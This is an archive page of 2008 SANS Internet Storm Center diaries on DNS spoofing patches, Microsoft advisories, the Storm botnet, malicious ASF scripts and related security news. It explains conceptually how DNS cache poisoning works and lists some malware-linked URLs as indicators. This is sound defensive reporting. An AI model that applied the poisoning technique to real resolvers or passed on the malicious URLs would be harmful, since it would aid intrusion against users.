Published: 2008-07-09

DNS Vulnerability Found by a GSEC Student Three Years Ago!

Kudos to Ian Green!  In January 2005 he submitted a paper for his GSEC certification that lays out in wonderful detail the very same vulnerability that is the subject of today's patching frenzy.  Here is what Ian told us in an email today:

The DNS Spoofing vulnerability was discovered and reported to SANS during research for GSEC in January 2005.  http://www.sans.org/reading_room/whitepapers/dns/1567.php

By observing these values of DNS queries over a period of time, the following patterns were noted:
- The DNS transaction ID always begins at 1 and is incremented by 1 for each subsequent DNS query; and
- The UDP source port of the query (which becomes the UDP destination port of the response) remains static for the entirety of a session (from startup to shutdown).

Like they say, "what is old is new, what is new is old"

Marcus H. Sachs
Director, SANS Internet Storm Center


Published: 2008-07-08

Podcast Episode Eight Record Notice

Hey everyone, we're going to have a live Podcast record tomorrow at 6 pm EDT.  (That's Eastern Daylight Savings Time)
We'll be streaming it live via Stickam, and as always we welcome your feedback.  The link we'll be streaming from is: http://www.stickam.com/joelesler
Please feel free to join us, we look forward to hearing your live feedback either in the Stickam Chat room, or in #dshield on irc.freenode.net.
Joel Esler


Published: 2008-07-08

Mulitple Vendors DNS Spoofing Vulnerability

Today, Microsoft was just one vendor releasing a patch for its DNS server. The Internet Software Consortium (www.isc.org) published a very similar patch for its own DNS server, BIND.

Many other DNS servers are derived either form BIND or Microsoft's DNS server. Expect more similar announcements over the next couple days.

The Problem

The root cause is a fundamental, well known, weakness in the DNS protocol. DNS uses UDP, a stateless protocol. A DNS server will send a request in a single UDP packet, then wait for a response to come back. In order to match request and response, a number of parameters are checked:

  • who sent the response? Was it the DNS server we sent the request to?
  • for this particular response, do we have an outstanding request?
  • each request uses a unique and random query ID. The response has to use the same query ID.
  • The response has to be sent to the same port from which the request was sent.

Only if all this matches, the response is accepted. The first valid response wins. If an attacker is able to guess the query id and the source port, the attacker is able to send a fake response, which will be cached by the DNS server.

How likely is it to "guess" the query id and the source port? One would think, its not that easy. The query ID is 16 bits long, allowing for 65536 options. The source port could be anything about 1024 which again would allow for another 64512 options. It is easy to guess which DNS server is expected to reply, as it has to be a valid DNS server for the respective domain. A reasonable DNS server should respond in less then a second, allowing for about 1 second to send the spoofed response.

Ideally, one would think that it would take millions of packets per second to successfully spoof the response. However, the problem is in the details. A DNS server can not use any port to source the query. It may not use a port commonly used by outbound connections, or a port reserved by a server. This is an issue attacked by today's patches. As of today, DNS servers used a rather small set of ports to source requests. This is the actual new finding. The patch will increase the pool of source ports available to DNS queries. To make things worse: the real DNS server may be silenced using DDoS attacks.

Over the past few months, we had a couple patches (again both for Microsoft as well as for BIND) addressing the randomness of the query ID.

How bad is it?

If you run a caching DNS server, patch it soon. I wouldn't say "today, while ignoring sane patch management". But check with your vendor and follow their guidance. The world is not going to end today. It will in fact end in 2 1/2 years from today (different story ;-) ). But this is something you have to fix soon. Right now, the US-CERT advisory lists about 80 vulnerably products.

Eventually we all may have to break down and fix DNS. DNSSEC is an extension to DNS asking for cryptographic authentication. However, it requires a PKI infrastructure which at this point doesn't exist. There is not much to be gained from implementing DNSSEC on your own (but by all means: try it out and see how it works).

Where can I find out more?

CERT: www.kb.cert.org/vuls/id/800113
Microsoft: http://www.microsoft.com/technet/security/Bulletin/MS08-037.mspx
Internet Software Consortium (BIND): http://www.isc.org/sw/bind/bind-security.php
Dan Kaminski's Podcast: cdn3.libsyn.com/mckeay/nsp-070808-ep111.mp3


Johannes B. Ullrich, Ph.D.
SANS Technology Institute - http://www.sans.edu


Published: 2008-07-08

July 2008 black tuesday overview

Overview of the July 2008 Microsoft patches and their status.

# Affected Contra Indications Known Exploits Microsoft rating ISC rating(*)
clients servers
MS08-037 DNS spoofing and cache poisoning is made possible by a lack of entropy when doing DNS queries in both the DNS client and the DNS server. The lack of entropy is visible in the used source ports and the transaction IDs.
Windows DNS

KB 953230 No publicly known exploits Important Important Important
MS08-038 Multiple vulnerabilities in windows explorer allow code execution with the rights of the logged on user.
Windows explorer

CVE-2008-0951 (part)
KB 950582

Publicly disclosed

CVE-2008-0951 is a well known vulnerability: CERT VU#889747 (march 2008).

Important Critical Important

Multiple XSS vulnerabilities in OWA (Outlook for Web Access) allow any action the authorized user could perform to be done without his consent.
Replaces MS08-026.

Exchange server

KB 953747 No publicly known exploits Important N/A Critical(*)

Multiple vulnerabilities in Microsoft's SQL server allow information disclosure and unauthorized complete control of the server.

SQL server


KB 941203
No publicly known exploits Important N/A Critical(**)
We will update issues on this page for about a week or so as they evolve.
We appreciate updates
US based customers can call Microsoft for free patch related support on 1-866-PCSAFETY
(*): ISC rating
  • We use 4 levels:
    • PATCH NOW: Typically used where we see immediate danger of exploitation. Typical environments will want to deploy these patches ASAP. Workarounds are typically not accepted by users or are not possible. This rating is often used when typical deployments make it vulnerable and exploits are being used or easy to obtain or make.
    • Critical: Anything that needs little to become "interesting" for the dark side. Best approach is to test and deploy ASAP. Workarounds can give more time to test.
    • Important: Things where more testing and other measures can help.
    • Less Urgent: Typically we expect the impact if left unpatched to be not that big a deal in the short term. Do not forget them however.
  • The difference between the client and server rating is based on how you use the affected machine. We take into account the typical client and server deployment in the usage of the machine and the common measures people typically have in place already. Measures we presume are simple best practices for servers such as not using outlook, MSIE, word etc. to do traditional office or leisure work.
  • The rating is not a risk analysis as such. It is a rating of importance of the vulnerability and the perceived or even predicted threat for affected systems. The rating does not account for the number of affected systems there are. It is for an affected system in a typical worst-case role.
  • Only the organization itself is in a position to do a full risk analysis involving the presence (or lack of) affected systems, the actually implemented measures, the impact on their operation and the value of the assets involved.
  • All patches released by a vendor are important enough to have a close look if you use the affected systems. There is little incentive for vendors to publicize patches that do not have some form of risk to them.

(*): For exchange servers with active use of OWA

(**): For SQL servers with SQL users that are not trusted on the server itself, or situation where an escalation of problems needs to be avoided.

Swa Frantzen -- Section 66


Published: 2008-07-08

Security implications in HVAC equipment

Chris sent us: "My wife sent me a link, asking if it would be wise to use a new offering by our local electricity provider (TXU). They will give their customers a free iThermostat with web-enabled features in exchange for the ability to cycle, or turn off the customer's AC unit during peak demand periods. The web-enabled features are hosted by TXU [...]"

There are a number of rather important aspects in there already. As security conscious people (like most, if not all of our readers) we should really try to reach out to our surroundings and try to get the "would it be wise" reaction on the security impact of choices as an integral part of the decision process. It's a hard thing to achieve, not only in a corporate environment, but in a home setting too. It's basically a risk assessment you do, but in order to do it you need to know the risks involved.

The second part is the stressed out electricity generating infrastructure in the USA. If you have to choose between them turning off your electricity for the AC or for all of your home, - outside of the data center (where the AC is critical to avoid overheating of equipment) -  the choice at home seems to be relatively easy provided enough others join in the choice to make a difference.

Back to the risks involved:


The data on when you're at home, what schedule you put in the programming of your AC, when you're on vacation, ... has some impact should it fall in the hands of others. Just imagine what a burglar could do with knowing who's on vacation when, with when you're scheduled to be home or not, ...

Even without that, there's no mention I could find on who has intentional access to that information. Will they use it to send you more marketing stuff? Will they share it with 3rd parties who'll offer their services too?

How is it made sure only your device(s) can get to the settings?


What happens if an unathorized setting heats your home in winter to the maximum the HVAC unit can go during your absence ? Or to the minimum it'll go. Who pays for the energy bill and incendental damage if you didn't authorize those settings? 

The new unit does have a lockout on the keyboard, but the troubleshooting on the website makes it obvious how trivial it is to override the lockout.


What happens if the website or your Internet connection is unavailable? Do you loose HVAC? Will it stay in it's last setting? Will it know the rest of the scheduling and continue to execute that without you having the ability to make changes till the communication or service becomes available again?


Well ... login and plain old password on that website says enough to our readers I guess.


After seeing the installation instructions, there were some additional questions not answered on the wireless network component. After looking at the video a few times, they are using a Digi ConnectPort X2, which seems to be providing ZigBee/IEEE 802.15.4 for "PAN" connections.

So you'll have to read up on another wireless network type next to WiFi, Bluetooth, ... It is interesting to see that zigbee does mention ACLs, AES, ... but I've also seen it mentioned that the encryption is in fact optional ...

Zigbee FAQ, Gilles Thonet, IEEE, February 2006.
ZigBee Security Layer Technical Overview - ZigBee Alliance, Seoul, September 2006.

So this raises many more questions than their FAQ will answer.


A conclusion: well there's hardly any as the questions would need answers before the risk can be determined. And regardless of that, in the end the important part is the risk you're willing to accept in order to gain the benefits that go far beyond the security implications.

For all clarity: I'm sure there are many more providers that use this technology beyond TXU, it's just the one sent in by one of our readers. I'm not trying to single them out in any way other than using this as an educational example.

Swa Frantzen -- Section 66


Published: 2008-07-07

Bad url classification

Update: Some readers told about testing with a referer, which is quite used by malwares. In this case I only checked it through the original webpage, capturing the traffic.

Update2: Some readers pointed that this domain is registered by ESTDOMAINS, which is very known to be a register of lots of websites serving malwares.

Last weekend, I was playing around with some urls/websites...

On one of those websites, I found an iframe, that at first glance, looked suspicious. It was highly obfuscated.

With a help from a nice tool, called Malzilla I was able to get the that it was actually pointing to hxxp://google-stat.net/stat/stat.php . At the time I was checking it wasnt really doing anything nasty, just a redirection to google.com website...maybe a counter...maybe a step to another infected site...

But what if my job was to classify that URL? What would be the right thing to do?

Let go to the facts:

- First of all, it is abviously a kind of typosquatting on Google brand...

-Google (through stopbadware) and McAfee SiteAdvisor shows warnings on that link, so it may be really not a nice site.

- A whois shows interesting information:

Smart LTD
    Valeriy        (orensmm@gmail.com)
    ul. tulpanov 11
    Tel. +555.5555555

So, fake phone number,  Country is TJ, which is the country code of Tajikistan(!), and probably a fake address...

Besides all these facts, it was not really doing anything nasty (at the time of my research). Would be fair to add this URL as "Bad" ?

My answer is yes, because putting all these together, you will notice that the dog is not barking, but it is deffinitely there...just wating for the right time to bite you!


Pedro Bueno ( pbueno //&&// isc. sans. org)



Published: 2008-07-07

We need academic volunteers - Web security research

At SANS Internet Storm Center, we are always researching and monitoring the latest trends of attacks on the Internet. There are currently some research projects related to Web Security that are at infancy stage and would significantly benefit with the help of some research efforts. We have decided to open these opportunities up to the education communities. This will benefit the research projects and give students opportunities to be part of cutting edge research projects.


  • College or University students
  • Enrolled in an information security course which allows you to work on the ISC research projects as part of your assignment or term project
  • A sponsor from the educational institute. This will likely be the professor of the information security course or program director. This requirement can be ignored for SANS Technology Institute students.
  • Programming knowledge (PHP and Perl a big plus) and willingness to learn
  • Knowledge of OWASP Top 10 vulnerabilities
  • 10 weeks projects with a total of 80-100 hours time commitment

Perks or sexiness

  • Working with members of SANS ISC and SANS EDU faculty members
  • Cutting edge research projects, you will learn a lot (drinking from the fire hose experience)
  • Real world experience


  • NONE, this is on a volunteer basis


  • Apply through Email to isc@sans.org. Please include a short description of your background in point form
  • There will be an interview stage before individuals are accepted for the projects
  • Priority given to SANS Technology Institute students


  • There will be evaluation during (mid-term) and after the duration of the project.
  • Evaluation will be provided by a committee within SANS ISC and results will be provided to both the student and the sponsor.


Published: 2008-07-07

Microsoft Snapshot Viewer Security Advisory

Microsoft earlier today released a Security Advisory which discusses a
remote code execution vulnerability in the ActiveX control for Snapshot
Viewer. The Snapshot Viewer ActiveX control enable the user to view an
Access report snapshot without having the standard or run-time version of
Microsoft Access.  This ActiveX control is shipped with all versions of
Microsoft Access with exception of Access 2007.

As this is a remote code execution issue, the attacker would have access
to run any code of their choosing at the same user rights as the logged-on
user.  So those users running with reduced privileges have a more limited
risk than those running with full administrator access.

Microsoft's advisory has several recommendations on how to set a kill bit.
As tomorrow is the normally scheduled Patch Tuesday, it is likely that an
appropriate update for the ActiveX control or a kill bit update will not
be released.   With that in mind, it is recommended that appropriate steps
be taken using group policy at the same time that you roll out the updates
to your environment.

For more information on the vulnerability, please see MS Security Advisory
955179 at http://www.microsoft.com/TechNet/security/advisory/955179.mspx


Published: 2008-07-04

Storm Botnet Celebrates Birthday With Fireworks

I read about MX Logic's  prediction this morning (www.computerworld.com/action/article.do) that we should expect another wave of Storm Bot recuitment emails likely using the US Independence Day holiday as a lure.  This group behind the Storm Botnet has always been concious of timing and shortly after 5pm Eastern time I began to receive reports that a new wave had started.

There's nothing very different about this one, it directs the user to click on a link that encourages the intended victim to download fireworks.exe.

Gary Warner has a nice starter collection of Subjects, Bodies, and hosting IPs for those who need to set up blocks and filters available here: garwarner.blogspot.com/2008/07/storm-worm-salutes-our-nation-on-4th.html  I'm sure that the list will continue to grow.  I'd recommend that you play it safe by blocking all attemtps to download fireworks.exe at your perimeter (your environment may vary, but I can't see any business justification for any executables named fireworks to be downloaded by my users-- I know "Kevin is no fun.")


Published: 2008-07-03

New Opera v9.51 fixes couple of security issues

A new version of Opera (v9.51) has been released. It fixes couple of security vulnerabilities and some stability issues. One of the fixed issues includes arbitrary code execution but the exploit has not been published yet.

In any case, if you are an Opera user, download the latest version from http://www.opera.com/download/


Published: 2008-07-03

Detecting scripts in ASF files (part 2)

Back in April, I wrote a diary about an interesting ASF files that had a script stream included (http://isc.sans.org/diary.html?storyid=4355). The script stream caused Windows Media Player to use Internet Explorer to retrieve content from a URL embedded in the script. As you can probably already guess, the URL lead to a web site serving some malware. Some other AV vendors picked this as well.

I asked if some of our readers know of a utility that would allow us to extract script streams from ASF files. Initially I found that there is a utility from Microsoft, Windows Media File Editor, that allows one to list script commands.

One of our readers, James Dean, did a great job and wrote a small utility that allows you to list embedded script commands from command line, without using any GUI tools. This is great for batch analysis of multiple ASF files. You just need to create a directory, put all ASF files into it and run the tool with the directory name as a parameter. Here's one such example with two malicious ASF files:

D:\Work>findasfcommands.exe test

     There is one type:

     Type Number  Type
     -----------  -------------------------------------
               0  URLANDEXIT

     There is one command:

     Millisecond  Type Number  Command
     -----------  -----------  -------------------------------------
            3000            0  http://www.fastmp3player.com/affiliates/772465/1/

James kindly sent the source file to us and I compiled it for Windows. You can download the ZIP archive here. MD5 of the ZIP archive is c9e5bba11051cfbc98dfa451442a71e8.

With some modifications this can work on Linux as well – if you have time to modify the code let us know and we'll post the code for Linux as well since a lot of researchers use it.



Published: 2008-07-02

Another little script I threw together

For the day job, I sometimes need to gather info about an IP address that is being used to launch attacks.  I normally query several different whois servers to find this info.  Being the lazy individual that I am (and because I'm pretty comfortable in Perl), I wrote a little perl script (using a couple of nice packages that others had put together previously, all can be found on CPAN), to grab all the info at once.  The result is ip-as-geo.pl which gives me the following info (separated by |'s): the IP, the CIDR block (or net range) it belongs to, the 2 letter country code where it was allocated (understanding that the system itself may not be in that country), the country name spelled out (in case I can't remember what US stands for), the ASN the IP belongs to, the BGP prefix for that ASN, and who that ASN is registered to.  If you find this useful, great.  If you don't, please don't send me e-mail telling me it was stupid.  If you have suggestions for improvements, please do send those.




Published: 2008-07-02

The scoop on the spike in UDP port 7 traffic

As I mentioned during my last shift, one of the first things I look at when I start my shift is our trends graph.  When my shift began 20 hours ago, I noticed that huge spike in traffic on port 7 (and when looking at the ascii data, noted that it was 100% UDP).  For those of you who don't remember, port 7 is the old "echo" service (anything sent to that port on a system running the service would be echo-ed back to the sender)

jac@leibnitz[518]$ fgrep echo /etc/services
echo            7/tcp
echo            7/udp

I wasn't quite sure what was going on, but I decided not to put out a call for packets right away.  So, when I get to the day job today, I notice that one of our honeypots got hit with traffic to UDP port 7 (so I had the packets without asking you, our readers).  I immediately looked at the pcaps and noticed the contents of the packet were a URL and the source was an IP at Texas A&M University.  The URL was http://irl.cs.tamu.edu/projects/sampling/service.asp.  So, I went and took a closer look at the source IPs in our dshield data and sure enough, most of the sources were IPs in the same subnet at tamu.edu.  So, apparently they are trying to find out if anyone still runs the "echo" service (and in 2008 I would hope they won't find any, since for many years we knew this could be used to DoS an innocent party and for probably at least 10 years now, best practice has been to disable it on all of your servers and routers and ...).


Published: 2008-07-02

Followup to "What's going on..."

During my last shift I posted a story where I noted increased traffic on ports 8800, 1100, and 5905 and asking if anyone had packets.  We didn't get any captures, but a week or so later, our friends over at MWcollect posted this story which I found very interesting/useful, so I wanted to point it out to the rest of you who may not follow their blog.  I haven't played much with libemu, but after reading this, I clearly need to spend some more time with it.


Published: 2008-07-02

Firefox is out

For those of you that haven't yet made the move to Firefox 3.0, the Mozilla folks have released Firefox which according to the release notes link (see below) fixes a security vulnerability.  However, the "known vulnerabilities" page (linked from the release notes page) doesn't include any info (yet) on what that security fix is.




Published: 2008-07-01

Apple Posts 10.5.4, Security Update 2008-004, Time Machine + Apple Base Station Upgrades, and Safari upgrade for 10.4.11

Whew, what an upgrade release!

Let's start with Security Update 2008-004:

Alias Manager
CVE-ID:  CVE-2008-2308

CVE-ID:  CVE-2008-2309

CVE-ID:  CVE-2008-2310

CVE-ID:  CVE-2008-2314

Launch Services
CVE-ID:  CVE-2008-2311

CVE-ID:  CVE-2008-0960

CVE-ID:  CVE-2008-2662, CVE-2008-2663, CVE-2008-2664, CVE-2008-2725,

CVE-ID:  CVE-2008-1145

SMB File Server
CVE-ID:  CVE-2008-1105

System Configuration
CVE-ID:  CVE-2008-2313

CVE-ID:  CVE-2005-3164, CVE-2007-1355, CVE-2007-2449, CVE-2007-2450,
CVE-2007-3382, CVE-2007-3383, CVE-2007-5333, CVE-2007-3385,

CVE-ID:  CVE-2007-6276

CVE-ID:  CVE-2008-2307

Safari on OSX 10.4.11 was also upgraded to 3.1.2.  (As you can see above, so was 10.5 (Leopard) -- The WebKit update.

Happy Patching!


Joel Esler




Published: 2008-07-01

OT: Happy Canada Day!